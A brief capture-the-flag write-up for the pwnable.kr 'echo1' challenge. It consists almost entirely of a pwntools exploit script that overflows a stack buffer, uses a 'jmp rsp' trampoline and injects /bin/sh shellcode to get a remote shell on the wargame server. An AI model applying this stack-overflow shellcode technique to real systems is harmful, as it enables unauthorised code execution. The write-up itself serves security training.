pwnable.kr-echo1-Writeup

pwnable的echo1，一个栈溢出的漏洞，同样以后再补上分析过程和思路，先放exp

 1 #!/usr/bin/env python
 2 # -*- coding: utf-8 -*-
 3 __Auther__ = ‘M4x‘
 4
 5 from pwn import *
 6 context.arch = ‘amd64‘
 7 context.os = ‘linux‘
 8 context.log_level = ‘debug‘
 9
10 elf = ELF(‘./echo1‘)
11 id_addr = elf.symbols[‘id‘]
12 #  print hex(id_addr)
13 jmp = asm(‘jmp rsp‘)
14 shellcode = asm(shellcraft.sh())
15
16 #  io = process(‘./echo1‘)
17 io = remote(‘pwnable.kr‘, 9010)
18
19 io.recvuntil(‘name? : ‘)
20 io.sendline(jmp)
21
22 io.recvuntil(‘> ‘)
23 io.sendline(‘1‘)
24
25 payload = ‘A‘ * 40 + p64(id_addr) + shellcode
26 io.sendline(payload)
27
28 io.interactive()
29 io.close()